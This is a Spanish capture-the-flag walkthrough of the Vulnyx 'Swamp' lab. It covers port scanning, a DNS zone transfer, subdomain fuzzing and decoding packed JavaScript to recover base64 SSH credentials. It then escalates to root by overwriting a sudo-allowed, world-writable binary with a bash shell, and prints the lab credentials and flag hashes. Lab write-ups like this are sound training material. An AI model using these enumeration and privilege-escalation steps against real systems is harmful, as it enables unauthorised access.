Swamp Vulnyx (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 03:09 EDT
Nmap scan report for 192.168.5.89
Host is up (0.00099s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_ 256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
53/tcp open domain ISC BIND 9.18.28-1~deb12u2 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.18.28-1~deb12u2-Debian
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Did not follow redirect to http://swamp.nyx
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:6E:84:6B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.16 secondsVeremos varias cosas interesantes, entre ellas el puerto 80 y el puerto 53 (DNS), primero vamos a ver el puerto 80 a ver que vemos, entrando dentro del mismo veremos que nos intenta cargar un dominio llamado swamp.nyx, por lo que vamos a meterlo en el archivo hosts.
nano /etc/hosts
#Dentro del nano
<IP> swamp.nyxUna vez guardado, volveremos a entrar en el puerto 80 y nos cargara una pagina con una imagen simplemente sin nada mas, por lo que vamos a realizar un poco de fuzzing a ver que vemos.
DNS
Si realizamos un escaneo de DNS para ver que encontramos respecto al dominio veremos varios nombres que podrian servir para un subdominio, por lo que vamos a crear una lista con dichos subdominios.
dig axfr swamp.nyx @<IP>Info:
; <<>> DiG 9.20.4-4-Debian <<>> axfr swamp.nyx @192.168.5.89
;; global options: +cmd
swamp.nyx. 604800 IN SOA ns1.swamp.nyx. . 2025010401 604800 86400 2419200 604800
swamp.nyx. 604800 IN NS ns1.swamp.nyx.
d0nkey.swamp.nyx. 604800 IN A 0.0.0.0
dr4gon.swamp.nyx. 604800 IN A 0.0.0.0
duloc.swamp.nyx. 604800 IN A 0.0.0.0
f1ona.swamp.nyx. 604800 IN A 0.0.0.0
farfaraway.swamp.nyx. 604800 IN A 0.0.0.0
ns1.swamp.nyx. 604800 IN A 0.0.0.0
shr3k.swamp.nyx. 604800 IN A 0.0.0.0
swamp.nyx. 604800 IN SOA ns1.swamp.nyx. . 2025010401 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 192.168.5.89#53(192.168.5.89) (TCP)
;; WHEN: Tue Aug 26 03:22:49 EDT 2025
;; XFR size: 10 records (messages 1, bytes 309)Ahora vamos a realizar un fuzzing con dicha lista:
subdomains.txt
d0nkey
dr4gon
duloc
f1ona
farfaraway
ns1
shr3kFFUF
ffuf -c -t 200 -w subdomains.txt -H "Host: FUZZ.swamp.nyx" -u http://swamp.nyx/ -fs 0Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://swamp.nyx/
:: Wordlist : FUZZ: /home/kali/Desktop/swamp/subdomains.txt
:: Header : Host: FUZZ.swamp.nyx
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
farfaraway [Status: 200, Size: 557, Words: 145, Lines: 25, Duration: 15ms]
f1ona [Status: 200, Size: 497, Words: 140, Lines: 25, Duration: 15ms]
duloc [Status: 200, Size: 508, Words: 142, Lines: 25, Duration: 17ms]
d0nkey [Status: 200, Size: 594, Words: 187, Lines: 31, Duration: 17ms]
shr3k [Status: 200, Size: 4809, Words: 1961, Lines: 138, Duration: 17ms]
dr4gon [Status: 200, Size: 498, Words: 140, Lines: 24, Duration: 19ms]
:: Progress: [7/7] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::Veremos que funciona todos, por lo que vamos añadirlos en el archivo hosts para entrar en cada uno de ellos a ver que vemos.
nano /etc/hosts
#Dentro del nano
<IP> swamp.nyx d0nkey.swamp.nyx dr4gon.swamp.nyx duloc.swamp.nyx f1ona.swamp.nyx farfaraway.swamp.nyx ns1.swamp.nyx shr3k.swamp.nyxLo guardamos y probamos a entrar en cada uno de ellos a ver que vemos interesante, si entramos en el subdominio llamado farfaraway.swamp.nyx veremos en el codigo fuente un script que en los demas no esta.
Escalate user shrek
<script src="script.min.js"></script>Entrando dentro del codigo de JavaScript veremos un codigo ofuscado de tipo packet por lo que vamos a decodificarlo.
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('!M(){1C e;9 1D((e,t)=>{11(()=>{e("1y z 1z: 5")},1L)}).1I(e=>{6.7(e)}).1j(e=>{6.F(e)});8 t=1G e=>{1M{8 t=1g(1g 1l(e)).1p();6.7("1q 1l 2c:",t)}1j(o){6.F("1k 27 1d:",o)}};t("2d://2k.2h.2f/2g"),(()=>{8 e=k.26("1S");e.1T="1P 1V 22 R J 23",k.2b.1X(e)})();1W o{1Y(e,t){B.j=e,B.Q=t}C(){6.7(`${B.j}1Z:${B.Q}`)}}8 a=9 o("1O","1Q"),l=9 o("1R","24");a.C(),l.C();8 r=[1,2,3,4,5],n=r.2i(e=>2*e);6.7("2j 17:",n);8 s=r.2e((e,t)=>e+t,0);6.7("28 1i 17:",s);6.7("29 q:",{j:"T",b:30,2a:"1N"}),2l(()=>{6.7("12 1H 1r 1s 2 Z")},1t),k.1u("1v",()=>{6.7("1m 1o 1n J k")});8 g=9 14;6.7("1w W:",g.Y());8 i=9 14(g.1J()+1,g.1K(),g.1F());6.7("1E W:",i.Y());8 c=e=>{e%2==0?6.7(e+" z 1x"):6.7(e+" z 1A")};[10,21,32,1B,1U].V(c),11(()=>{6.7("12 2V 2W 3 Z")},2X);(e=>{8 t=e(10,20);6.7("2N 1c 2P-2R M:",t)})((e,t)=>e+t);8{X:d,13:u,b:h}={X:"31",13:"33",b:25};6.7(`2m:${d}${u},36:${h}`);8 m=9 19;m.N("j","G"),m.N("b",30),m.N("K","1b 1b 37"),6.7("19 15:"),m.V((e,t)=>{6.7(t+": "+e)});8 p=9 18([1,2,3,4,4,5]);6.7("18 15 (2u 2v):",2x.1c(p));8 $=M*e(){E"2s D",E"2p D",E"2q D"}();6.7($.H().A),6.7($.H().A),6.7($.H().A);6.7("2r, T! 2H R J 2I.");2K:2G;8 f=x.1h(\'{"j":"G","b":30}\');6.7("2F x 1d:",f),"O"1e U?U.O.2B(e=>{6.7("2A 2C K:",e.P.2D,e.P.2E)},e=>{6.F("1k 2L K:",e)}):6.7("2J 2z 2y");8 v=" 2n z 2o! ",y=v.2t();6.7("2w 1f:",y);8 S=v.2M();6.7("2Z 1f:",S),I.35("q",x.34({j:"G",b:30}));8 w=x.1h(I.38("q"));6.7("39 q 1e I:",w),6.7("2Q 2O:",L.2S()),6.7("2T 2Y 1i 16:",L.2U(16)),6.7("1a A:",L.1a)}();',62,196,'||||||console|log|let|new||age||||||||name|document||||||user|||||||JSON||is|value|this|speak|part|yield|error|Shrek|next|localStorage|the|location|Math|function|set|geolocation|coords|sound|to||John|navigator|forEach|date|firstName|toString|seconds||setTimeout|This|lastName|Date|values||numbers|Set|Map|PI|Far|from|data|in|string|await|parse|of|catch|Error|fetch|Click|on|detected|json|Data|repeats|every|2e3|addEventListener|click|Current|even|Value|positive|odd|43|var|Promise|Future|getDate|async|message|then|getFullYear|getMonth|1e3|try|USA|Dog|Dynamically|Woof|Cat|div|innerHTML|54|added|class|appendChild|constructor|says|||text|DOM|Meow||createElement|fetching|Sum|Updated|country|body|success|https|reduce|com|posts|typicode|map|Doubled|jsonplaceholder|setInterval|Destructuring|JavaScript|fun|Second|Third|Hello|First|trim|no|duplicates|Trimmed|Array|available|not|Your|getCurrentPosition|current|latitude|longitude|Parsed|c2hyZWs6cHV0b3Blc2FvZWxhc25v|Welcome|page|Geolocation|Password|getting|toUpperCase|Result|number|higher|Random|order|random|Square|sqrt|runs|after|3e3|root|Uppercase||Jane||Doe|stringify|setItem|Age|Away|getItem|Stored'.split('|'),0,{}))Ahora si lo decodificamos lo veremos de esta forma:
!function()
{
var e;
new Promise((e,t)=>
{
setTimeout(()=>
{
e("Value is positive: 5")
}
,1e3)
}
).then(e=>
{
console.log(e)
}
).catch(e=>
{
console.error(e)
}
);
let t=async e=>
{
try
{
let t=await(await fetch(e)).json();
console.log("Data fetch success:",t)
}
catch(o)
{
console.error("Error fetching data:",o)
}
};
t("https://jsonplaceholder.typicode.com/posts"),(()=>
{
let e=document.createElement("div");
e.innerHTML="Dynamically added text to the DOM",document.body.appendChild(e)
}
)();
class o
{
constructor(e,t)
{
this.name=e,this.sound=t
}
speak()
{
console.log(`$
{
this.name
}
says:$
{
this.sound
}
`)
}
}
let a=new o("Dog","Woof"),l=new o("Cat","Meow");
a.speak(),l.speak();
let r=[1,2,3,4,5],n=r.map(e=>2*e);
console.log("Doubled numbers:",n);
let s=r.reduce((e,t)=>e+t,0);
console.log("Sum of numbers:",s);
console.log("Updated user:",
{
name:"John",age:30,country:"USA"
}
),setInterval(()=>
{
console.log("This message repeats every 2 seconds")
}
,2e3),document.addEventListener("click",()=>
{
console.log("Click detected on the document")
}
);
let g=new Date;
console.log("Current date:",g.toString());
let i=new Date(g.getFullYear()+1,g.getMonth(),g.getDate());
console.log("Future date:",i.toString());
let c=e=>
{
e%2==0?console.log(e+" is even"):console.log(e+" is odd")
};
[10,21,32,43,54].forEach(c),setTimeout(()=>
{
console.log("This runs after 3 seconds")
}
,3e3);
(e=>
{
let t=e(10,20);
console.log("Result from higher-order function:",t)
}
)((e,t)=>e+t);
let
{
firstName:d,lastName:u,age:h
}
=
{
firstName:"Jane",lastName:"Doe",age:25
};
console.log(`Destructuring:$
{
d
}
$
{
u
}
,Age:$
{
h
}
`);
let m=new Map;
m.set("name","Shrek"),m.set("age",30),m.set("location","Far Far Away"),console.log("Map values:"),m.forEach((e,t)=>
{
console.log(t+": "+e)
}
);
let p=new Set([1,2,3,4,4,5]);
console.log("Set values (no duplicates):",Array.from(p));
let $=function*e()
{
yield"First part",yield"Second part",yield"Third part"
}
();
console.log($.next().value),console.log($.next().value),console.log($.next().value);
console.log("Hello, John! Welcome to the page.");
Password:c2hyZWs6cHV0b3Blc2FvZWxhc25v;
let f=JSON.parse('
{
"name":"Shrek","age":30
}
');
console.log("Parsed JSON data:",f),"geolocation"in navigator?navigator.geolocation.getCurrentPosition(e=>
{
console.log("Your current location:",e.coords.latitude,e.coords.longitude)
}
,e=>
{
console.error("Error getting location:",e)
}
):console.log("Geolocation not available");
let v=" JavaScript is fun! ",y=v.trim();
console.log("Trimmed string:",y);
let S=v.toUpperCase();
console.log("Uppercase string:",S),localStorage.setItem("user",JSON.stringify(
{
name:"Shrek",age:30
}
));
let w=JSON.parse(localStorage.getItem("user"));
console.log("Stored user in localStorage:",w),console.log("Random number:",Math.random()),console.log("Square root of 16:",Math.sqrt(16)),console.log("PI value:",Math.PI)
}
();Veremos estas lineas interesantes:
console.log("Hello, John! Welcome to the page.");
Password:c2hyZWs6cHV0b3Blc2FvZWxhc25v;
let f=JSON.parse('
{
"name":"Shrek","age":30
}Si decodificamos ese Base64 veremos esto:
echo 'c2hyZWs6cHV0b3Blc2FvZWxhc25v' | base64 -dInfo:
shrek:putopesaoelasnoVamos a probar dichas credenciales por SSH a ver que vemos.
SSH
ssh shrek@<IP>Metemos como contraseña putopesaoelasno...
Linux swamp 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan 4 13:12:39 2025 from 192.168.1.33
shrek@swamp:~$ whoami
shrekVeremos que estaremos dentro, por lo que leeremos la flag del usuario.
user.txt
7d199d72f12135ef193ad19faf9468efEscalate Privileges
Si listamos los permisos SUID que hay en el sistema veremos lo siguiente:
find / -type f -perm -4000 -ls 2>/dev/nullInfo:
1048992 640 -rwsr-xr-x 1 root root 653888 Jun 22 2024 /usr/lib/openssh/ssh-keysign
1062369 52 -rwsr-xr-- 1 root messagebus 51272 Sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
1046487 36 -rwsr-xr-x 1 root root 35128 Oct 18 2024 /usr/bin/umount
1047858 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp
1050027 84 -rwsrwxrwx 1 root root 85376 Sep 14 2022 /usr/bin/mt-gnu
1044597 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd
1044577 72 -rwsr-xr-x 1 root root 72000 Oct 18 2024 /usr/bin/su
1046483 60 -rwsr-xr-x 1 root root 59704 Oct 18 2024 /usr/bin/mount
1044593 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn
1074722 276 -rwsr-xr-x 1 root root 281624 Jun 27 2023 /usr/bin/sudo
1044596 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd
1061091 36 -rwsr-xr-x 1 root root 35128 Apr 18 2023 /usr/bin/fusermount3
1044594 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh
913960 20 -rwsrwxrwx 1 root root 17736 Jan 4 2025 /home/shrek/header_checkerVeremos esta linea interesante:
913960 20 -rwsrwxrwx 1 root root 17736 Jan 4 2025 /home/shrek/header_checkerSi listamos dicho archivo veremos lo siguiente:
-rwsrwxrwx 1 root root 17736 Jan 4 2025 header_checkerPero si a demas hacemos sudo -l veremos esto otro:
Matching Defaults entries for shrek on swamp:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User shrek may run the following commands on swamp:
(ALL) NOPASSWD: /home/shrek/header_checkerPodemos ejecutar el binario header_checker como el usuario root, por lo que podremos realizar lo siguiente:
Vamos a limpiar el binario de esta forma:
echo '' > /home/shrek/header_checkerAhora vamos a meter la siguiente informacion:
#!/bin/bash
/bin/bashLo guardamos y ejecutaremos de esta forma:
sudo /home/shrek/header_checkerInfo:
root@swamp:/home/shrek# whoami
rootVemos que con esto seremos root por lo que leeremos la flag de root.
root.txt
9c7bddee2e2fb8ad03854f106f23c6b5Last updated